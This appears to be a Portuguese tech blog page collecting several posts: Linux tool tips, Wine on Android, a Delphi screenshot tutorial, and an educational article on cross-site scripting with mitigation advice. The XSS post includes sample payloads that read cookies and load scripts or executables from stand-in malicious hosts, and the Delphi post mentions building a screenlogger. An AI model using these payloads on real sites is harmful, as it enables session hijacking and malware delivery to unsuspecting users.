-->

Anuncio!

Deixando o seu Ubuntu limpo e mais rápido!

Para muitas pessoas, deixar o sistema sempre com o menos de "lixo" possível é realmente uma tarefa rotineira, sempre estão tentando limpar o sistema e deixar com o mínimo de arquivos que possam atrapalhar no desempenho da sua máquina e sistema. Muitas vezes os usuários não tem tanta familiaridade com o terminal e seus comandos, mesmo assim alguns não se sentem seguros em arriscar.

As dificuldades dos novos usuários para migração para o linux

Uma alternativa interessante para as ferramentas de "limpeza" de sistema, é o Ubuntu Cleaner, onde também é uma opção diretamente ao Bleach Bit (www.bleachbit.org). O Ubuntu Cleaner permite que você limpe o cache das aplicações e do próprio sistema, garantindo alguns MB a mais para a sua unidade de armazenamento.

Para instalar o mesmo poderá fazer via terminal e instalar através do próprio PPA, rode os seguintes comandos:

sudo add-apt-repository ppa:gerardpuig/ppa


sudo apt-get update


sudo apt-get install ubuntu-cleaner


Você poderá também entrar no site do mesmo e baixar o pacote direto e instalá-lo no seu sistema, Download (será redirecionado ao site), nesse ponto basicamente falando, localize o pacote e use o dpkg para instalá-lo, usando o:

sudo dpkg -i nome-do-pacote-baixado.deb


Logo após tudo tendo ocorrido bem, basta ir no menu do seu ubuntu e procura-lo.

Ao abrir, você vai se deparar com essa tela:



Você deverá clicar no menu para selecionar aquilo que quer limpar.

Poderá marcar alguns:

Ou tudo que aparecer pra você:



 

Então depois de selecionar aquilo que você quer, só clicar em Clean e aguardar. Provavelmente algumas coisas que você marcar, necessitará da permissão do ROOT, agora é só aproveitar seu Ubuntu mais leve!

O que achou do artigo?

Deixa seu comentário embaixo.
Compartilhar:

Conectando a um servidor do IRC via terminal linux

Internet Relay Chat (IRC) é um protocolo de comunicação utilizado na Internet. Ele é utilizado basicamente como bate-papo (chat) e troca de arquivos, permitindo a conversa em grupo ou privada. Foi documentado formalmente pela primeira vez em 1993, com a RFC 1459.

Um cliente de IRC é necessário para a comunicação sob o protocolo IRC, sendo necessário uma conexão para a Internet.

Primeiramente temos de baixar o pacote em si da aplicação, mas antes disso atualize seus pacotes.

sudo apt-get install irssi



No meu caso já estava instalado.
Agora temos de entrar no mesmo, você terá de chamar ele usando o seguinte comando: irssi



Vocês irão se deparar com essa tela ao entrar
Logo após isso, poderemos enfim pedir acesso a um servidor, usaremos o: /server servidor

Nesse caso usaremos o seguinte servidor: /server irc.freenode.net

Após isso vocês terão de colocar seu nick para melhor organização no chat,para isso use:

/nick <seu nick> #sem a simbologia



Por fim, após tudo, você de fato pode entrar e trocar altas hackeragens com os mais hackudos dos haskis
basta usar:
/join <nome do servidor>
Nesse caso: /join freenode



E agora é só aproveitar!

 
Compartilhar:

Wine 3.0 no Android



                                                               Wine 3.0 no Android

Link de download do .apk no final do artigo; Veja as possibilidades que o novo Wine 3.0 pode trazer a quem utiliza-lo no Android

E com ele, veio a novidade de que haveria uma versão em formato .apk lançada para o Android.
E de fato ela foi lançada. Neste post explico mais detalhes sobre ela.

Wine 3.0

A empresa Codeweavers lançou a versão 3.0 do Wine, que cria uma camada de compatibilidade sobre sistemas UNIX, permitindo que rode programas do Windows no Linux (BSD e macOS) como se fossem nativos. E agora, veio com uma versão que pode ser instalado no celular Android como um APK. O app oferece a exibição em tela cheia do Windows, além de um menu Iniciar no canto inferior, além de suporte para áudio e gráficos.

Como a versão ainda é recente, pode ser que ela não funcione perfeitamente em todos os dispositivos Android. Segundo o site, por exemplo, ele funcionou no OnePlus 5T, mas travou no Pixel 2016 e no Galaxy Tab S.

Limitações

As limitações ainda são grandes, no entanto. Se você conseguir rodar o Wine no Android, ele ainda não tem muitas capacidades, justamente por essa ser a primeira versão. Isso inclui, por exemplo, a incompatibilidade com o Direct3D, o que faz com que vários programas simplesmente não funcionem, o que dificulta bastante a execução de jogos, a menos que eles sejam forçados a utilizar o OpenGL.

É importante observar, no entanto, que o Wine não é um emulador, e sim apenas uma camada de abstração (compatibilidade) entre softwares do Windows e sistemas UNIX. Isso significa que o Wine para Android só vai rodar todos os programas do Windows em sistemas que usam arquiteturas x86 em seu processador, o que é bastante raro em celulares e tablets. Em aparelhos com processadores ARM, só será possível rodar os programas que foram adaptados para o Windows RT, criado para operar em arquitetura ARM.

Ou seja, se um programa está em formato .exe, ele deve ser de arquitetura ARM, normalmente nativos do Windows CE, para executar num celular ou tablet Android. Esse Wine só rodará programas .exe de arquitetura x86 em Androids que rodem sob arquitetura x86 (i386), como o caso dos TVBox'es e alguns netbooks.

Futuro

O projeto pretende expandir as capacidades do Wine no Android no futuro, usando a tecnologia QEMU para emular instruções de processadores x86 para ARM. Mas por enquanto, o recurso ainda não está completo.

Download

OBS: A recomendação é baixar os arquivos nomeados "wine-3.0-arm.apk" ou "wine-3.0-x86.apk" (dependendo da arquitetura, atentos a isso) e ignorar todos os APKs que mencionam a sigla “rc”, que significa “release candidate” e representam as versões que estiveram próximas de serem lançadas como finais, mas que por um algum motivo não foram julgadas boas o bastante para tal; são instáveis e voltadas a desenvolvedores.

Após toda essa observação, se ainda quiser testar, baixe o app no seguinte link:
https://dl.winehq.org/wine-builds/android/

O app possui aproximadamente 115 Mb.
Lembre-se de dar as devidas permissões ao seu aparelho Android para executar .apk's que não são originados da PlayStore.

Fonte: UNIX Universe

Compartilhar:

Captura de tela em Delphi (screenshot)

E ae galera blz? como hoje é minha primeira postagem na tenditech, eu optei por postar um assunto que estou mais acostumado que seria a programação para o Delphi. nesse tutorial básico vamos esta aprendendo tirar um screenshot com Delphi usando as API do próprio sistema Windows e algumas funções do Delphi. Para começar sem muita enrolação abrimos o Delphi (no meu caso vou esta utilizando o saudoso Delphi 7)



Nele vou esta colocando dois componentes, o primeiro será um botão da aba "standard" (também mudei o texto nesse botão, colocando "diga X" kkk), o segundo será um componente Image da aba "Additional"



No evento onclick do botão a gente vai escrever o nosso código que vai está capturando o desktop (no caso o nosso printscreen). Para que isso seja possível temos que capturar o handle da janela do desktop, para fazer isso usamos a API GetDesktopWindow e armazenamos o retorno dela em uma variavel do tipo HWND


procedure TForm1.Button1Click(Sender: TObject);
var janela: HWND;
begin
janela := GetDesktopWindow();
end;


O segundo passo que vamos fazer é instanciar um objeto do tipo TBitmap que será usado para manipular o Desktop como imagem


procedure TForm1.Button1Click(Sender: TObject);
var janela: HWND;
janelaDC: TBitmap;
begin
janela := GetDesktopWindow();
janelaDC := TBitmap.Create;
end;


Temos também que especificar o tamanho exato do desktop, para fazer isso temos que atribuir esses valores nos atributos width e height do TBitmap (uma forma para descobrir o tamanho da tela é usando o atributo Screen.Width e Screen.Height)


procedure TForm1.Button1Click(Sender: TObject);
var janela: HWND;
janelaDC: TBitmap;
begin
janela := GetDesktopWindow();
janelaDC := TBitmap.Create;
janelaDC.Width := Screen.Width;
janelaDC.Height := Screen.Height;
end;


Agora pegamos o contexto daquela janela usando a função GetDC, passamos como argumento o handle da janela (no caso a variável do desktop), também atribuímos ela para o atributo Canvas.handle do nosso objeto TBitmap


procedure TForm1.Button1Click(Sender: TObject);
var janela: HWND;
janelaDC: TBitmap;
begin
janela := GetDesktopWindow();
janelaDC := TBitmap.Create;
janelaDC.Width := Screen.Width;
janelaDC.Height := Screen.Height;
janelaDC.Canvas.Handle := GetDC(janela);
end;


Por fim basta nós copiarmos cada pixel do nosso objeto TBitmap para o objeto do componente image. Para isso usamos o método Canvas.CopyRect no componente image, nesse metodo temos que especificar o tamanho da dimensão do destino no caso a largura e altura do componente image (usamos o Rect para isso), o segundo argumento seria canvas do objeto que vamos copiar (objeto do TBitmap), e o ultimo argumento seria a dimensão da fonte no caso o objeto do TBitmap (tambem usamos o Rect), podemos tambem tentar outras dimensão para capturar uma area especifica ou ate uma janela especifica


procedure TForm1.Button1Click(Sender: TObject);
var janela: HWND;
janelaDC: TBitmap;
begin
janela := GetDesktopWindow();
janelaDC := TBitmap.Create;
janelaDC.Width := Screen.Width;
janelaDC.Height := Screen.Height;
janelaDC.Canvas.Handle := GetDC(janela);
Image1.Canvas.CopyRect(Rect(0,0,Image1.Width,Image1.Height), janelaDC.Canvas, Rect(0,0,Screen.Width,Screen.Height));
end;




Nosso programa está pronto bastando salvar, compilar e executar ele



se a gente apertar naquele botão ele vai capturar a tela



Bom galera existem muitas coisas que seria possível desenvolver com base nesse codigo, vocês podem criar um screenlogger, um programa para capturar stream da tela em tempo real, um programa para screenshot customizado entre muitas outras coisas. E arigatou ai para a galera do tenditech pelo convite, tamos ai minna-san ate a proxima \o
Compartilhar:

As dificuldades dos novos usuários para migração para o linux

Já não é novidade que muitos usuários de "carteirinha" windows, já estão notando a evidência do Linux a algum tempo, onde geralmente o mesmo é mais evidenciado na "mídia" como o "sistema hacker" ou simplesmente "o sistema dos usuários avançados" que em parte pode ser considerado certo, dependendo do seu ponto de vista, mas mesmo assim, tem o outro lado, o lado voltado para iniciantes, o lado que nem sempre, é o "sistema hacker", ou o sistema para maquinas mais modestas (explicarei mais abaixo),logo, acabam tomando mais curiosidade pelo mesmo(que é o normal do ser humano), onde as pessoas estão procurando alternativas para o seu sistema operacional padrão que já usam a tanto tempo, sendo eles ou não Windows, agora elas tendem a procurar sobre o sistema que elas querem (partindo do principio que elas sabem o que querem), de forma errônea(sem generalizar), onde procuram como instalar, usar, e só, não entendem que, o que elas acabram de instalar, é um sistema plenamente diferente do qual elas estavam usando, com modo de trabalhar diferente, e logo, o modo de ser procurar informações devem ser baseados para o sistema atual.


Aquilo que pode parecer um terror para muitos e a liberdade para outros.





Apesar da interação com o terminal no Linux não ser mais algo obrigatório para usar as distribuições há muito tempo, o terminal é a ferramenta preferida de usuários mais avançados, especialmente profissionais na área, seja ela qual for que necessite a interação com o mesmo. Ele ainda impôe bastante medo nos iniciantes e nas pessoas que nem se quer iniciaram a usar o Linux, onde entram naquela de "Eu nunca vou conseguir usar isso", agora aqueles que perdem o medo e encaram o terminal, podem ver com o passar do tempo, ele pode ser o aliado perfeito no dia a dia, embora muitas das coisas, como citado no inicio, não necessitam da interação.




A variedade dos sistemas Linux, já não é uma novidade tão grande, embora os novos usuários possam ficar indecisos com a quantidade de sistemas que existem com propósitos diferentes, que diferente do Windows, que tem apenas as versões em base de atualização de sistema, tais como, windows 7, Windows 8, Windows 10 e por ai vai, no Linux já não é bem assim, há literalmente uma infinidade de distribuições disponíveis para cada gosto e propósito, embora você pode fazer uma distro que não é focada em uma determinada atividade, com poucas(ou muitas dependendo do que você for fazer), Resumidamente, no quesito escolha, você pode: fazer uma distro ficar do jeito que você bem entender e fazer o que bem entender com qualquer distro Linux que você quiser, exemplificando, há distros focadas em pentest, tal como o kali linux, onde é a mais famosa distribuição focada para profissionais de segurança da informação, ou o ubuntu, que é mais pro lado dos iniciantes, no meu caso, eu uso um ubuntu com as ferramentas que eu necessito do kali, onde o mesmo é modificável ao seu gosto, até para pessoas mais "avançadas", embora não tenha nada de muito avançado nisso, você pode criar o seu próprio Linux, com as suas ferramentas, com seu jeito de personalizar(isso fica pra outro post), literalmente, o Linux, é realmente liberdade!





Mudando um pouco de assunto.

Uma alternativa bem interessante, para maquinas antigas, é instalar uma distribuição Linux, visto o seu baixo consumo (geralmente) de processamento, as distros mais indicadas para isso são distros leves e focadas em baixo consumo, mas para isso eu recomendo o artigo: Sistemas leves para ressucitar a sua máquina antiga ou lenta!




No quesito aplicações (programas), O ubuntu, em sua loja, é bem generoso, trás uma grande variedades de aplicações, separadamente por cada categoria a qual você necessita, nesse caso em especifico, basta escolher a qual você quer, clicar pra instalar, colocar a senha e tomar um café pra aguardar ficar pronto, simples assim!

Agora o que acontece bastante, uma das dificuldades de quem tá começando é, não se desapegar a nomes, mas como assim? Bom, vamos lá.

Primeiro, editores de texto, mais famoso do Windows em si, é o da microsoft, mas no Linux, temos uma infinidade, mas vamos deixar o escopo apenas no Ubuntu, nesse caso, temos o LibreOffice Writer, como opção para o Word, Temos o LibreOffice Calc, como opção para o Microsoft excel.

Nesse ponto, você não necessita do Microsoft Word, você precisa de uma aplicação que edite arquivos de texto, assim como você não necessita do Excel, você precisa de uma aplicação que execute planilhas e você consiga editar, e nesse ponto, você tem que aprender a desapegar de nomes, porque você mudando de sistema, obviamente muita coisa vai mudar, principalmente os seus nomes.




Agora vamos entrar no quesito de, quanto tempo você realmente dedica pra tentar realmente aprender?

Quando eu entro em discução sobre isso, geralmente eu vejo muitas pessoas falando "eu dediquei uma semana para aprender", "eu tentei aprender, mas é muito complicado, tentei por um mês", tudo bem, não vamos entrar no quesito vida pessoal, todavida eu sempre faço a pergunta "A quanto tempo você usa o Windows?" geralmente eu recebo a resposta de "uso a 5 anos" "uso a 10 anos".

O problema não é o sistema que provavelmente seja complicado, nem o quão ignorante no assunto você seja, o quesito é, força de vontade de aprender e o tempo dedicado, você passa (um exemplo) 3 anos usando windows, e quer aprender a usar de cabo a rabo um Linux em um mês? isso é praticamente impossível fazer. Particularmente, eu uso Linux a 6 anos, no caso uso desde o ubuntu 12.04 LTS que foi lançado dia 26 de abril de 2012, e ainda assim, acredito que eu sei de praticamente nada sobre o mesmo. Então amigo, não será em um dia, ou um mês que você realmente aprenderá, mas colocando no escopo de tempo, tente dar o mesmo tempo que você deu a outros sistemas, dê ao Linux, você não se arrependerá!


O que achou do artigo?

Deixe a sua opinião abaixo



Compartilhar:

Midori-A solução para navegar consumindo pouco.

É de fato que o consumo de memora e processamento, é algo que incomoda nos navegadores atuais, chegando mesmo até realmente incomodar no uso do dia a dia, embora muitos ofereçam inúmeros recursos, muitos aos quais nem se quer necessitamos para o seu uso, levando assim o consumo de recursos das nossas máquinas de maneira desnecessária.Então pensando nisso há uns tempos atrás, eu necessitava de um navegador que fosse, rápido, leve, de baixo consumo de memória RAM e que tivesse uma aparência razoável para o uso diário, visto que na época eu usava como máquina para estudos fora de casa (faculdade e cursos) um netbook que tem como processador, um Intel aton 1.6 com dois gigas de memória RAM.



Visto o baixo processamento e pouca memoria RAM a escolha para um navegador que realmente funcione nesses casos pode ser algo complicado, também levando em consideração que na época eu utilizada um Debian 8 “jessie”

Depois da lista de inúmeros navegadores que eu tinha feito que praticamente cumpriam apenas poucas das funções que eu desejava, ou era baixo consumo, porém, lento, e por ai vai. Mas teve um que, realmente cumpria basicamente tudo o que era necessário, simples, leve, rápido e com baixo consumo.

O navegador "Midori", você pode encontra-lo em: midori-browser.org



O mesmo tem como logo "a lightweight, fast, and free web browser" onde traduzindo seria: "Um navegador web leve, rápido e gratuito", onde o mesmo cita as plataformas suportadas, tais como Windows e Linux ou a sua versão portável.

"You can install Midori on Windows, a variety of Linux distributions, or run a portable version for use across several computers."



"Você pode instalar o Midori no Windows, uma variedade de distribuições Linux ou executar uma versão portátil para uso em vários computadores."

O Midori possui ferramentas de privacidade incorporadas, incluindo desativação de scripts, bloqueio de cookies de terceiros, detalhes de referência de remoção e limpeza automática de histórico após uma quantidade de tempo definida. Há também um gerenciador de adblocker e cookie integrado instalado (mas não habilitado) nas extensões incluídas.

Deixarei abaixo o download dos mesmos


Download Para Windows (download direto)



Download para Debian


Download para Ubuntu


Download para Mint


Download para fedora


Download para arch


Download para Opensuse



Versão portable (segundo o site, é para windows)


 

No mais é isso, para você que quer conhecer ele, é uma ótima opção, até mesmo para tentar quebrar um galho na sua máquina mais modesta, com um hardware mais limitado.

 

 

O que achou do artigo?

Deixe a sua opinião
Compartilhar:

Cross-site scripting - O que é e como fazer?

Cross-site scripting - O que é e como fazer?


Cross-site scripting, ou xss, é um ataque do tipo injeção, onde scripts maliciosos são injetados em sites confiáveis.

O ataque xss ocorre quando um atacante usa uma aplicação web para enviar códigos maliciosos, geralmente na forma de um script do lado do navegador para um usuário final.

As falhas que permitem que esses ataques sejam bem sucedidos são bastante difundidas, e ocorrem em qualquer lugar em que uma aplicação web usa a entrada de um usuário dentro da saída que ele gera, sem validá-la ou codificá-la.

O navegador do usuário não consegue identificar que aquele script não deve ser confiável, e irá executá-lo, pois o navegador pensa que o script veio de uma fonte confiável.

Sendo assim o script malicioso pode acessar qualquer cookie, tokens de sessão, ou outras informações sensíveis retidas pelo navegador e utilizá-las naquele site. Estes scripts podem até reescrever o conteúdo da página HTML.

Um ataque de Cross-site scripting ocorre quando:

1 – Dados entram em uma aplicação web, através de uma fonte não confiável, normalmente, uma requisição web.

2 – A informação é inclusa em conteúdo dinâmico, e é enviada para o usuário web sem ser validada como conteúdo malicioso.

O conteúdo malicioso enviado ao navegador, geralmente, assume a forma de um segmento de JavaScript, mas também pode incluir HTML, Flash ou qualquer outro tipo de código que o navegador possa executar. A variedade de ataques baseada em xss é quase infinita, mas em geral, incluem transmissão de informação privada, como cookies ou outras informações da sessão ao atacante, redirecionando para a vítima conteúdo controlado pelo atacante, ou fazendo outras operações maliciosas na máquina do usuário, sob o disfarce do site vulnerável.

Tipos de ataque XSS


Ataques xss geralmente podem ser divididos em duas categorias:


1 - Stored (Persistente)


2 – Reflected (Refletido)


Há um terceiro tipo, menos conhecido, chamado XSS DOM Based(Sigla DOM de Document Object Model)


Ataques xss stored


Ataques xss stored, ou xss persistente, são ataques onde o script injetado são armazenados permanentemente no servidor atacado, como em banco de dados, em uma mensagem de um fórum, log de visitantes, campo de comentários, etc. A vítima obtém o script malicioso do server quando requisita informações armazenadas.


O ataque xss stored algumas vezes é referido como xss persistente ou xss tipo 1.


Exemplos de xss stored


Vamos supor que exista uma aplicação web que permita a inserção de código HTML


integralmente nos campos de entrada do nome e sobrenome no formulário para


atualização das preferências do usuário:




             alert(document.cookie)



Desta forma, quando for executada uma busca pelos usuários cadastrados, o código


HTML acima será executado assim que o usuário aparecer na relação dos resultados da


busca.


Variações deste ataque podem ser utilizadas para permitir que o usuário mal


intencionado modifique o código arbitrário de acordo com o tipo de requisição ou


cliente infectado, utilizando, por exemplo, uma referência a um script remoto:




<A HREF="http://confiavel.org.br/busca.cgi?CC=


SRC='http://malicioso.ck.bz/badguy.js'>"> Vá para Confiável.org.br</A>



Neste exemplo, o site confiável não possui filtros apropriados para proteger-se da


inserção do código HTML que faz referência ao script malicioso:




 echo ‘<h1>Seu termo de busca é : ’ + getParameter(‘CC’) + ‘</h1>’;



O código HTML executado no navegador do usuário alvo resultaria na carga arbitrária


de um script estranho à aplicação e contendo quaisquer tipos de instruções que o usuário


mal intencionado deseje:




<h1>Seu termo de busca é


SRC='http://malicioso.ck.bz/badguy.js'></h1>



Ataques xss reflected


A exploração dessa vulnerabilidade envolve a elaboração de uma solicitação com


código a ser inserido embutido e refletido para o usuário alvo que faz a solicitação. O


código HTML inserido é entregue para aplicação e devolvido como parte integrante do


código de resposta, permitindo que seja executado de maneira arbitrária pelo navegador


do próprio usuário.


Este ataque geralmente é executado por meio de engenharia social, convencendo o


usuário alvo que a requisição a ser realizada é legítima. As consequencias variam de


acordo com a natureza da vulnerabilidade, podendo variar do sequestro de sessões


válidas no sistema, roubo de credenciais ou realização de atividades arbitrárias em nome


do usuário afetado.


Exemplo de XSS refletido:


Tome-se como exemplo um aplicativo web que receba um parâmetro “nome” contendo a identificação do usuário legítimo e apresente o conteúdo sem quaisquer filtros:




http://www.vul.site/welcome.html?name=fulano


echo ‘<h1>Olá usuário ‘ + getParameter(‘name’) + ‘</h1>';



Considere que um usuário mal intecionado altere o atalho para incluir um código


arbitrário a ser executado no navegador do usuário alvo:




http://www.example.com/welcome.html


name=alert(document.cookie)



Se um usuário legítimo e com acesso ao aplicativo vulnerável realizar a requisição acima, o código javascript ‘alert(document.cookie)’ será executado sem ressalvas no navegador do usuário alvo.



Outros exemplos de ataque podem incluir a substituição de todos os links válidos do aplicativo web pode um referência a um arquivo executável contendo um vírus ou um cavalo de tróia:




http://www.example.com/welcome.html?name=window.onload =


function() {var AllLinks=document.getElementsByTagName("a");AllLinks[0].href =


"http://badexample.com/malicious.exe"; }



Efeito do ataque:



Este tipo de ataque responde por aproximadamente 75% das vulnerabilidades de XSS


que afetam aplicativos web na Internet.


Baseados no DOM (DOM based)


O Document object Model (DOM) é o padrão utilizado para interpretar o código HTML em objetos a serem executados pelos navegadores web.


O ataque de XSS baseado no DOM permite a modificação de propriedades destes objetos diretamente no navegadordo usuário alvo, não dependendo de nenhum interação por parte do servidor que hospeda o aplicativo web.


Diferentemente do ataque de XSS persistente ou refletido, o ataque baseado em DOM


não necessita de interações diretas com o aplicativo web e utiliza-se de vulnerabilidades


existentes na interpretação do código HTML no ambiente do navegador do usuário alvo.


Exemplo de XSS baseado em DOM:


Tome-se como exemplo um aplicativo que contém um javascript que escolhe o tipo de


estilo a ser utilizado de acordo com o parâmetro passado pelo usuário:




var estilo = ‘style’ + location.hash + ‘.css’; document.write(‘’);



Agora tome-se como exemplo um link construído de maneira a carregar um código


arbitrário, conforme exemplo abaixo:




http://vitima.com/teste.html#>


src=”http://bad/bad.js”>



Quando executado no navegador do usuário, a referência acima será utilizada para


inserir um script mal intencionado no contexto do aplicativo web, sem o conhecimento


do aplicativo web afetado (pelo lado do servidor).


Qual o impacto e as principais consequências do ataque?


Os ataques de XSS são frequentemente utilizados para causar danos aos usuários


legítimos de um aplicativo vulnerável. Para a corporação, o impacto da vulnerabilidade


de XSS é principalmente sua imagem e a possibilidade de utilização da falha para a distribuição de phishing e facilitação de fraudes.


Dentre as principais consequências para o usuário afetado, incluem:


Sequestro de sessão de usuários;


Alteração do código HTML do aplicativo (visivel somente do lado do cliente);


Redirecionar o usuário para sites maliciosos;


Alteração do objeto DOM para captura de dados ou envio de malware.


Como evitar ataques de XSS?





  • Você deve se assegurar que todas as entradas de dados do usuário não são confiáveis.






  • Todos dados de usuário a serem utilizados para construção do contexto HTML (corpo,atributo, JavaScript, CSS ou URL) devem ser verificados para assegurar que não




contenham nenhum conteúdo ativo (JavaScript, ActiveX, Flash, Silverlight, etc) e que


sejam codificados de maneira apropriada, por exemplo, transformando meta caracteres em códigos de escape HTML.


Uma boa referência para apoiar a filtragem de dados é o dicionário de ataques XSS fornecido pelo OWASP.


Por outro lado, os ataques de XSS também podem ser evitados pela implementação de


um filtro de aplicações web, mais conhecido como Web Application Firewall, e também


por meio de mecanismos de prevenção que estão embutidos em navegadores modernos.


Exemplo de filtro utilizando o Apache:


Utilizando-se do módulo rewrite do Apache, as URL podem ser avaliadas de acordo com uma expressão regular para determinar a presença de meta-caracteres nos dados recebidos do usuário.


Por exemplo, a seguinte expressão regular pode ser usada para detectar caracteres alfanuméricos entre as tags ou barras:




/((\%3C)|<)((\%2F)|\/)*[a-z0-9\%]+((\%3E)|>)/i



Exemplo de correção para códigos vulneráveis:


Este é um exemplo de código em ASP.NET (v1.1) vulnerável, cuja função é de pesquisa e retorno dos dados enviados pelo usuário:




‘ SearchResult.aspx.vb


Imports System


Imports System.Web


Imports System.Web.UI


Imports System.Web.UI.WebControls


Public Class SearchPage Inherits System.Web.UI.Page


Protected txtInput As TextBox


Protected cmdSearch As Button


Protected lblResult As Label Protected


Sub cmdSearch _Click(Source As Object, _ e As EventArgs)


// Do Search.....


// ............


lblResult.Text=”You Searched for: ” & txtInput.Text


// Display Search Results.....


// ............


End Sub


End Class



Para remover a falha e mitigar a vulnerabilidade, se faz necessário incluir uma validação


dos dados de entrada do usuário por meio da inserção de um “filtro” que evite que


códigos HTML sejam expostos explicitamente sem uma codificação apropriada:




Response.Write Server.HtmlEncode(inputTxt.Text)



Exemplos de ataques


http://www.youtube.com/watch?v=_Z9RQSnf8-g&feature=player_embedded

FONTES BIBLIOGRÁFICAS:


OWASP - https://www.owasp.org/index.php


Equipe RedeSegura - http://www.redesegura.com.br/2012/01/saiba-mais-sobre-o-cross-site-scripting-xss/

Compartilhar:
← Anterior Proxima → Inicio

Formulário de contato

Nome

E-mail *

Mensagem *

Sites Parceiros

Anuncio No Post

Anuncio No Post

Anuncio Aqui!